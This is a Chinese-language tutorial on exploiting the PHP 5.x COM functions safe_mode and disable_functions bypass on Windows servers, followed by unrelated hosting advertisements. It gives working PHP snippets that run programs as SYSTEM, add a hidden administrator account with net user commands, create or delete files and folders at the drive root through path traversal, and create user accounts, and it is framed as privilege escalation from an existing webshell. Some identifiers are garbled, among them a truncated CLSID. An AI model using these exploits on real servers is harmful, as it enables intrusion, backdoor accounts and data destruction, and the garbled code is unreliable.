PHP 5.x COM functions提权漏洞的利用分析
PHP是英文“超级文本预处理语言” Hypertext Preprocessor的缩写是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能所有的CGI或者JavaScript的功能 PHP都能实现支持几乎所有流行的数据库以及操作系统。 近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞也就是PHP 5.xCOM functions safe_mode and disable_function bypass漏洞。它可以实现提权这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞 由于本人水平有限请大家原谅不准确的地方。 漏洞所用到的COM函数只在Windows环境下的PHP才存在 .net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展不用额外加载其他扩展来调用漏洞函数。
现在部分大中型网站都喜欢用PHP+Apache+Windows来架设这样的话 PHP漏洞的打击面就会很大了特别是在现在提权越来越难的形势下我想很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容漏洞的利用要求php. ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2在我的测试当中发现并不一定要严格按照这样配置大家可以自己测试一下看看。safe_mode=On
disable_functions=com_load_typel ibopen_basedir=htdocs
下面我们就逐一看看这个漏洞的内容与利用。compatUI .dl l中的RunAppl ication函数
这个漏洞的测试代码如下。
<?php
$compatUI=newCOM('{A-7F23-47E2-B7C3-97EE8DD42CD8}');
//加载compatUI .dl l $compatUI->RunAppl ication("something", "notepad.exe", 1);//运行记事本
?>
将其保存为PHP文件放到服务器上然后用IE访问就可以了。运行后IE是没有什么回显的如图1所示但实际上记事本已经运行了而且是SYSTEM权限 因为它是由系统服务来运行的所以继承了SYSTEM权限如图2所示。
利用这个漏洞我们可以运行已经上传好的木马实现WebShel l的提权。当然如果你足够无聊的话还可以写成循环让服务器运行很多记事本实现D.O.S。
Wscript运行命令
这个漏洞的测试代码如下。
<?php
$wscript=new COM('wscript.shel l '); //要用到wscript.exe
$wscript->Run("cmd.exe/c calc.exe");//运行calc.exe
?>
访问该脚本后服务器上出现了SYSTEM权限的calc.exe进程如图3所示。我们只要发挥一下想象力修改一下脚本就能加个管理员账户了具体代码如下。
<?php
$wscript=new COM('wscript.shel l ');$wscript->Run("cmd.exe/c net user admin$/add");$wscript->Run("cmd.exe/c net localgroup administrators admin$/add");
?>
访问该脚本之后即可添加管理员成功这对SYSTE M权限来说简直就是噩梦如图4所示
wshom.ocx中的OpenTextFi le
OpenTextFi le可以用于创建一个文件其中存在的漏洞的测试代码如下。
<?php
$mPath=str_repeat(". .\\",20);
$FSO=new COM('Scripting.Fi leSystemObject');//用到了wshom.ocx
$FSO->OpenTextFi le($mPath."bat.bat",8, true); //在服务器上创建文件虽然这个函数是用来打开文件的但是文件不存在就被创建了
?>
果然在C区根目录出现了这个批处理文件bat.b at如图5所示
wshom.ocx中的DeleteFi le
这个函数可以删除服务器上的文件大家要小心使用测试代码如下。<?php
$mPath=str_repeat(". .\\",20);
$FSOdelFi le=new COM('Scripting.Fi leSystemObject');
//利用了ws h o m.o cx
$FSOdelFi le->DeleteFi le($mPath.".\\*.dat",True);
//删除C区根目录的所有d at文件?>wshom.ocx中的DeleteFolder
利用这个函数可以删除服务器上的文件夹很恐怖哦。测试代码如下<?php
$mPath=str_repeat(". .\\",20);
$FSOdelFolder=new COM('Scripting.Fi leSystemObject');
//使用ws h o m.o cx
$FSOdelFolder->DeleteFolder($mPath.".\\1 1",True);
//删除特定的文件夹
?>
访问之后成功删除了c:\11这个文件夹。
shgina.dl l中Create函数创建账户
这个漏洞的测试代码如下
<?php
$user=new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');
//利用shgina.dl l$user->Create("asd");
//创建账户asd
?>
不过这里要注意一下利用这个漏洞创建的账户只是属于users组的如图6所示
关于PHP 5.xCOM functions漏洞的利用就为大家介绍到这里了测试代码已经随文提供大家根据自己的需要进行适当修改即可。不过提醒大家一下 以上几个漏洞的利用前提是我们已经有了WebShel l 之后才可以上传用于提权的脚本切记哦
A400互联怎么样?A400互联是一家成立于2020年的商家,A400互联是云服务器网(yuntue.com)首次发布的云主机商家。本次A400互联给大家带来的是,全新上线的香港节点,cmi+cn2线路,全场香港产品7折优惠,优惠码0711,A400互联,只为给你提供更快,更稳,更实惠的套餐,香港节点上线cn2+cmi线路云服务器,37.8元/季/1H/1G/10M/300G,云上日子,你我共享。...
SugarHosts 糖果主机商我们算是比较熟悉的,早年学会建站的时候开始就用的糖果虚拟主机,目前他们家还算是为数不多提供虚拟主机的商家,有提供香港、美国、德国等虚拟主机机房。香港机房CN2速度比较快,美国机房有提供优化线路和普通线路适合外贸业务。德国欧洲机房适合欧洲业务的虚拟主机。糖果主机商一般是不会发布黑五活动的,他们在圣圣诞节促销活动是有的,我们看到糖果主机商发布的圣诞节促销虚拟主机低至6折...
Hostio是一家成立于2006年的国外主机商,提供基于KVM架构的VPS主机,AMD EPYC CPU,NVMe硬盘,1-10Gbps带宽,最低月付5欧元起。商家采用自己的网络AS208258,宿主机采用2 x AMD Epyc 7452 32C/64T 2.3Ghz CPU,16*32GB内存,4个Samsung PM983 NVMe SSD,提供IPv4+IPv6。下面列出几款主机配置信息。...